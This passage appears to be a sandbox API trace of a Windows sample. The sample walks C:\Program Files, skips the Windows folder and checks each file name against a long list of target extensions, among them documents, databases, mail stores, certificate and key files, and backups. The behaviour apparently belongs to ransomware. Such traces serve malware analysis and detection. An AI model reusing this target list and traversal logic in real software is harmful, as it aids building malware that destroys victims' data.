	[0180.475] lstrlenW (lpString=".mde") returned 4
	[0180.475] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mdf") returned 4
	[0180.475] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mdw") returned 4
	[0180.475] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mef") returned 4
	[0180.475] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mft") returned 4
	[0180.475] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mfw") returned 4
	[0180.475] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mht") returned 4
	[0180.475] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mhtml") returned 6
	[0180.475] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0180.475] lstrlenW (lpString=".mka") returned 4
	[0180.475] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mkidx") returned 6
	[0180.475] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0180.475] lstrlenW (lpString=".mkv") returned 4
	[0180.475] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0180.475] lstrlenW (lpString=".mos") returned 4
	[0180.478] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mov") returned 4
	[0180.478] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mp3") returned 4
	[0180.478] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mp4") returned 4
	[0180.478] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mpeg") returned 5
	[0180.478] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0180.478] lstrlenW (lpString=".mpg") returned 4
	[0180.478] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mpv") returned 4
	[0180.478] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mrw") returned 4
	[0180.478] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".msg") returned 4
	[0180.478] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0180.478] lstrlenW (lpString=".mxl") returned 4
	[0180.478] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0180.478] lstrlenW (lpString=".myd") returned 4
	[0180.478] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0180.478] lstrlenW (lpString=".myi") returned 4
	[0180.478] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0180.478] lstrlenW (lpString=".nef") returned 4
	[0180.479] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".nrw") returned 4
	[0180.479] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".obj") returned 4
	[0180.479] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".odb") returned 4
	[0180.479] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".odc") returned 4
	[0180.479] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".odm") returned 4
	[0180.479] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".odp") returned 4
	[0180.479] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".ods") returned 4
	[0180.479] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".oft") returned 4
	[0180.479] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".one") returned 4
	[0180.479] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".onepkg") returned 7
	[0180.479] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0180.479] lstrlenW (lpString=".onetoc2") returned 8
	[0180.479] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0180.479] lstrlenW (lpString=".opt") returned 4
	[0180.479] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".oqy") returned 4
	[0180.479] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0180.479] lstrlenW (lpString=".orf") returned 4
	[0180.480] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".p12") returned 4
	[0180.480] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".p7b") returned 4
	[0180.480] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".p7c") returned 4
	[0180.480] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pam") returned 4
	[0180.480] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pbm") returned 4
	[0180.480] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pct") returned 4
	[0180.480] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pcx") returned 4
	[0180.480] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pdd") returned 4
	[0180.480] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pdf") returned 4
	[0180.480] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pdp") returned 4
	[0180.480] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pef") returned 4
	[0180.480] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pem") returned 4
	[0180.480] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0180.480] lstrlenW (lpString=".pff") returned 4
	[0180.482] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0180.482] lstrlenW (lpString=".pfm") returned 4
	[0180.482] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0180.482] lstrlenW (lpString=".pfx") returned 4
	[0180.482] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0180.482] lstrlenW (lpString=".pgm") returned 4
	[0180.482] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0180.482] lstrlenW (lpString=".php") returned 4
	[0180.482] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0180.482] lstrlenW (lpString=".php3") returned 5
	[0180.482] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0180.482] lstrlenW (lpString=".php4") returned 5
	[0180.482] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0180.482] lstrlenW (lpString=".php5") returned 5
	[0180.482] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0180.482] lstrlenW (lpString=".phtml") returned 6
	[0180.482] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0180.482] lstrlenW (lpString=".pict") returned 5
	[0180.482] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0180.482] lstrlenW (lpString=".pl") returned 3
	[0180.483] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0180.483] lstrlenW (lpString=".pls") returned 4
	[0180.483] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".pm") returned 3
	[0180.483] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0180.483] lstrlenW (lpString=".png") returned 4
	[0180.483] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".pnm") returned 4
	[0180.483] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".pot") returned 4
	[0180.483] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".potm") returned 5
	[0180.483] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0180.483] lstrlenW (lpString=".potx") returned 5
	[0180.483] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0180.483] lstrlenW (lpString=".ppa") returned 4
	[0180.483] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".ppam") returned 5
	[0180.483] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0180.483] lstrlenW (lpString=".ppm") returned 4
	[0180.483] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".pps") returned 4
	[0180.483] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0180.483] lstrlenW (lpString=".ppsm") returned 5
	[0180.483] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0180.483] lstrlenW (lpString=".ppt") returned 4
	[0180.483] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0180.484] lstrlenW (lpString=".pptm") returned 5
	[0180.484] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0180.484] lstrlenW (lpString=".pptx") returned 5
	[0180.484] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0180.484] lstrlenW (lpString=".prn") returned 4
	[0180.484] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0180.484] lstrlenW (lpString=".ps") returned 3
	[0180.484] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0180.484] lstrlenW (lpString=".psb") returned 4
	[0180.484] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0180.484] lstrlenW (lpString=".psd") returned 4
	[0180.486] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0180.486] lstrlenW (lpString=".pst") returned 4
	[0180.486] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0180.486] lstrlenW (lpString=".ptx") returned 4
	[0180.486] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0180.486] lstrlenW (lpString=".pub") returned 4
	[0180.486] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0180.486] lstrlenW (lpString=".pwm") returned 4
	[0180.486] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0180.486] lstrlenW (lpString=".pxr") returned 4
	[0180.487] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0180.487] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0180.487] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0180.487] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0180.488] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.488] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6394b70, ftCreationTime.dwHighDateTime=0x1d5a753, ftLastAccessTime.dwLowDateTime=0xb915c3d0, ftLastAccessTime.dwHighDateTime=0x1d5c6d6, ftLastWriteTime.dwLowDateTime=0xb915c3d0, ftLastWriteTime.dwHighDateTime=0x1d5c6d6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0180.488] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0180.488] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0180.488] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0180.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0180.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0180.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0180.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0180.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0180.489] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.490] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0180.490] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.490] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37
	[0180.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0180.490] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.490] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.490] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0180.490] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Media Player\\en-US") returned 1
	[0180.490] lstrlenW (lpString="en-US") returned 5
	[0180.490] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0180.490] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.490] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0180.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.491] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.491] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0180.492] lstrlenW (lpString="mpvis.dll.mui") returned 13
	[0180.492] lstrlenW (lpString=".1cd") returned 4
	[0180.492] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0180.492] lstrlenW (lpString=".3ds") returned 4
	[0180.492] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0180.492] lstrlenW (lpString=".3fr") returned 4
	[0180.492] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0180.492] lstrlenW (lpString=".3g2") returned 4
	[0180.492] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0180.492] lstrlenW (lpString=".3gp") returned 4
	[0180.492] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0180.492] lstrlenW (lpString=".7z") returned 3
	[0180.492] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0180.492] lstrlenW (lpString=".accda") returned 6
	[0180.492] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".accdb") returned 6
	[0180.492] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".accdc") returned 6
	[0180.492] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".accde") returned 6
	[0180.492] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".accdt") returned 6
	[0180.492] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".accdw") returned 6
	[0180.492] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0180.492] lstrlenW (lpString=".adb") returned 4
	[0180.492] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".adp") returned 4
	[0180.493] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai") returned 3
	[0180.493] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0180.493] lstrlenW (lpString=".ai3") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai4") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai5") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai6") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai7") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ai8") returned 4
	[0180.493] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".anim") returned 5
	[0180.493] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0180.493] lstrlenW (lpString=".arw") returned 4
	[0180.493] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".as") returned 3
	[0180.493] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0180.493] lstrlenW (lpString=".asa") returned 4
	[0180.493] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".asc") returned 4
	[0180.493] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0180.493] lstrlenW (lpString=".ascx") returned 5
	[0180.494] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0180.494] lstrlenW (lpString=".asm") returned 4
	[0180.494] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".asmx") returned 5
	[0180.494] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0180.494] lstrlenW (lpString=".asp") returned 4
	[0180.494] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".aspx") returned 5
	[0180.494] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0180.494] lstrlenW (lpString=".asr") returned 4
	[0180.494] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".asx") returned 4
	[0180.494] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".avi") returned 4
	[0180.494] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".avs") returned 4
	[0180.494] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".backup") returned 7
	[0180.494] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0180.494] lstrlenW (lpString=".bak") returned 4
	[0180.494] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".bay") returned 4
	[0180.494] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".bd") returned 3
	[0180.494] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0180.494] lstrlenW (lpString=".bin") returned 4
	[0180.494] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0180.494] lstrlenW (lpString=".bmp") returned 4
	[0180.494] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".bz2") returned 4
	[0180.495] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".c") returned 2
